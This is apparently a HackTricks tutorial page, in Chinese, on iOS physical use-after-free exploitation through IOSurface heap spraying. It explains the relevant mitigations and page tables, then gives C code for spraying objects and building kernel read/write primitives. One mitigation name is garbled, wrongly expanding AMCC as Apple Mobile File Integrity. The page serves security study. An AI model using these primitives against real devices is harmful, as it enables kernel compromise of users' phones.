iOS 物理 Use After Free 通过 IOSurface

Reading time: 18 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

iOS 漏洞缓解

  • Code Signing 在 iOS 中的工作方式是要求每一段可执行代码(apps, libraries, extensions 等)都必须用 Apple 签发的证书进行加密签名。代码加载时,iOS 会将数字签名与 Apple 的受信任根证书进行验证。如果签名无效、缺失或被修改,操作系统会拒绝运行该代码。这防止了攻击者向合法应用注入恶意代码或运行未签名的二进制文件,有效阻止了依赖执行任意或被篡改代码的大多数利用链。
  • CoreTrust 是 iOS 负责在运行时强制执行代码签名的子系统。它直接使用 Apple 的根证书验证签名,而不依赖缓存的信任存储,这意味着只有由 Apple 签名(或具有有效 entitlements)的二进制才能执行。CoreTrust 确保即使攻击者在安装后篡改应用、修改系统库或尝试加载未签名代码,系统也会阻止执行,除非代码仍然正确签名。这种严格的强制执行关闭了旧版 iOS 中通过较弱或可绕过签名检查实现的许多事后利用途径。
  • Data Execution Prevention (DEP) 将内存区域标记为不可执行,除非它们显式包含代码。这阻止攻击者在数据区域(如栈或堆)中注入 shellcode 并执行,迫使攻击者依赖更复杂的技术如 ROP(Return-Oriented Programming)。
  • ASLR (Address Space Layout Randomization) 每次系统运行时都会随机化代码、库、栈和堆的内存地址布局。这使得攻击者更难预测有用指令或 gadget 的位置,从而破坏许多依赖固定内存布局的利用链。
  • KASLR (Kernel ASLR) 将相同的随机化概念应用于 iOS 内核。通过在每次引导时打乱内核基地址,它阻止攻击者可靠地定位内核函数或结构,增加了实现内核级利用以获取完全系统控制的难度。
  • Kernel Patch Protection (KPP) 也称为 AMCC (Apple Mobile File Integrity),持续监控内核的代码页以确保其未被修改。如果检测到篡改——例如利用尝试修补内核函数或插入恶意代码——设备会立即 panic 并重启。这种保护使得持久化内核利用变得更加困难,因为攻击者无法在不触发系统崩溃的情况下简单地 hook 或修补内核指令。
  • Kernel Text Readonly Region (KTRR) 是在 iOS 设备上引入的基于硬件的安全功能。它使用 CPU 的内存控制器在引导后将内核的代码(text)段标记为永久只读。一旦锁定,即使是内核自身也不能修改该内存区域。这阻止了攻击者——甚至是有特权的代码——在运行时修补内核指令,关闭了依赖直接修改内核代码的主要利用途径。
  • Pointer Authentication Codes (PAC) 利用嵌入在指针未使用位上的加密签名来在使用前验证指针完整性。当创建指针(如返回地址或函数指针)时,CPU 会使用一个秘密密钥对其进行签名;在解引用之前,CPU 会检查该签名。如果指针被篡改,检查会失败并停止执行。这阻止了攻击者在内存损坏利用中伪造或重用被破坏的指针,使得像 ROP 或 JOP 这样的技术更难可靠实施。
  • Privilege Access never (PAN) 是一项硬件功能,防止内核(特权模式)在未显式启用访问的情况下直接访问用户空间内存。这阻止了获得内核代码执行的攻击者轻易读取或写入用户内存以升级利用或窃取敏感数据。通过强制严格的隔离,PAN 降低了内核利用的影响并阻止了许多常见的权限提升技术。
  • Page Protection Layer (PPL) 是一项 iOS 安全机制,用于保护关键的由内核管理的内存区域,特别是与代码签名和 entitlements 相关的区域。它使用 MMU(内存管理单元)和额外检查来强制严格的写保护,确保即使是有特权的内核代码也不能任意修改敏感页面。这阻止了获得内核级执行权限的攻击者篡改安全关键的结构,使持久化和绕过代码签名变得显著困难。

物理 use-after-free

这是对帖子 https://alfiecg.uk/2024/09/24/Kernel-exploit.html 的摘要,更多关于使用此技术的利用信息可见于 https://github.com/felix-pb/kfd

内存管理在 XNU

iOS 上用户进程的 虚拟内存地址空间 范围是从 0x0 到 0x8000000000。但是,这些地址并不直接映射到物理内存。相反,内核 使用 页表 将虚拟地址转换为实际的 物理地址

iOS 中的页表级别

页表以三层层级组织:

  1. L1 Page Table (Level 1)
  • 此处的每个条目代表一大段虚拟内存范围。
  • 它覆盖 0x1000000000 字节(或 256 GB)的虚拟内存。
  1. L2 Page Table (Level 2)
  • 此处的每个条目代表更小的虚拟内存区域,具体为 0x2000000 字节(32 MB)。
  • 如果 L1 条目无法自行映射整个区域,它可能指向一个 L2 表。
  1. L3 Page Table (Level 3)
  • 这是最细的级别,每个条目映射一个 4 KB 的内存页。
  • 如果需要更细粒度的控制,L2 条目可能指向 L3 表。

虚拟到物理内存的映射

  • Direct Mapping (Block Mapping)
  • 页表中的某些条目直接将一段虚拟地址范围映射到连续的物理地址范围(类似捷径)。
  • Pointer to Child Page Table
  • 如果需要更细的控制,一个级别(例如 L1)中的条目可以指向下一级(例如 L2)的子页表。

示例:映射一个虚拟地址

假设你尝试访问虚拟地址 0x1000000000

  1. L1 表
  • 内核检查对应此虚拟地址的 L1 页表条目。如果它有一个指向 L2 页表的 指针,则转到该 L2 表。
  1. L2 表
  • 内核检查 L2 页表以获得更详细的映射。如果该条目指向一个 L3 页表,则继续到 L3。
  1. L3 表
  • 内核查找最终的 L3 条目,该条目指向实际内存页的 物理地址

地址映射示例

如果你在 L2 表的第一个索引写入物理地址 0x800004000,那么:

  • 虚拟地址从 0x10000000000x1002000000 会映射到物理地址从 0x8000040000x802004000
  • 这是在 L2 级别的 block mapping

或者,如果 L2 条目指向一个 L3 表:

  • 虚拟地址范围 0x1000000000 -> 0x1002000000 中的每个 4 KB 页面将由 L3 表中的各个条目逐个映射。

物理 use-after-free

物理 use-after-free(UAF) 发生在以下情况:

  1. 进程将某段内存 分配 为可读写。
  2. 页表 被更新以将该内存映射到进程可以访问的特定物理地址。
  3. 进程 释放(deallocate) 该内存。
  4. 然而,由于一个 bug,内核 忘记从页表中移除该映射,即使它将相应的物理内存标记为空闲。
  5. 内核随后可能 重新分配 这块“已释放”的物理内存用于其他用途,例如 内核数据
  6. 由于映射未被移除,进程仍然可以 读写 这块物理内存。

这意味着进程可以访问 内核内存页,其中可能包含敏感数据或结构,潜在地允许攻击者 操纵内核内存

IOSurface Heap Spray

由于攻击者无法控制将被分配到已释放内存的具体内核页面,他们使用一种叫做 heap spray 的技术:

  1. 攻击者在内核内存中 创建大量 IOSurface 对象
  2. 每个 IOSurface 对象在其某个字段中包含一个 magic value,便于识别。
  3. 他们 扫描已释放的页面,查看这些 IOSurface 对象是否落在已释放页面上。
  4. 当他们在已释放页面上找到一个 IOSurface 对象时,就可以利用它来 读写内核内存

更多信息见 https://github.com/felix-pb/kfd/tree/main/writeups

tip

注意 iOS 16+(A12+)设备引入了硬件缓解(如 PPL 或 SPTM),这使得物理 UAF 技术的可行性大大降低。
PPL 对与代码签名、entitlements 以及敏感内核数据相关的页面实施严格的 MMU 保护,因此即使页面被重用,来自 userland 或被妥协的内核代码对 PPL 保护页面的写入也会被阻止。
Secure Page Table Monitor (SPTM) 通过加强页表更新本身来扩展 PPL。它确保即使是有特权的内核代码也不能在不经过安全检查的情况下悄无声息地重映射已释放页面或篡改映射。
KTRR(Kernel Text Read-Only Region)在引导后将内核的代码段锁定为只读。这阻止了对内核代码的任何运行时修改,关闭了物理 UAF 利用经常依赖的一个主要攻击向量。
此外,IOSurface 的分配现在更不可预测,也更难将其映射到用户可访问的区域,这使得“magic value 扫描”技巧可靠性大大降低。而且 IOSurface 现在受 entitlements 和 sandbox 限制的保护。

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects:攻击者创建大量带有特殊标识符(“magic value”)的 IOSurface 对象。
  2. Scan Freed Pages:他们检查是否有对象被分配到了已释放的页面上。
  3. Read/Write Kernel Memory:通过操纵 IOSurface 对象中的字段,他们获得在内核内存中执行 任意读写 的能力。这样他们可以:
  • 使用一个字段来 读取内核内存中的任意 32-bit 值
  • 使用另一个字段来 写入 64-bit 值,从而实现稳定的 kernel read/write primitive

Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

在一个已释放的物理页面中搜索 IOSurface 对象:

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

使用 IOSurface 实现内核读/写

在对位于内核内存中的 IOSurface 对象(映射到可从 userspace 访问的已释放物理页)取得控制权后,我们可以用它进行 任意内核读写操作

IOSurface 中的关键字段

IOSurface 对象有两个关键字段:

  1. Use Count Pointer:允许进行 32-bit read
  2. Indexed Timestamp Pointer:允许进行 64-bit write

通过覆盖这些指针,我们可以将它们重定向到内核内存中的任意地址,从而实现读/写能力。

32-Bit 内核读取

要进行读取:

  1. 覆盖 use count pointer,使其指向目标地址减去 0x14-byte offset。
  2. 使用 get_use_count 方法读取该地址处的值。
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

要执行写入:

  1. indexed timestamp pointer 覆盖为目标地址。
  2. 使用 set_indexed_timestamp 方法写入一个 64 位值。
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

漏洞利用流程回顾

  1. Trigger Physical Use-After-Free: 释放的页面可被重用。
  2. Spray IOSurface Objects: 在 kernel memory 中分配大量带有唯一 "magic value" 的 IOSurface 对象。
  3. Identify Accessible IOSurface: 在你控制的已释放页面上定位一个 IOSurface。
  4. Abuse Use-After-Free: 修改 IOSurface 对象中的指针,通过 IOSurface 方法实现任意 kernel read/write

借助这些原语,该漏洞利用能够对 kernel memory 进行受控的 32-bit reads64-bit writes。进一步的 jailbreak 步骤可能需要更稳定的 read/write 原语,这可能需要绕过额外的保护(例如在较新的 arm64e 设备上的 PPL)。

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks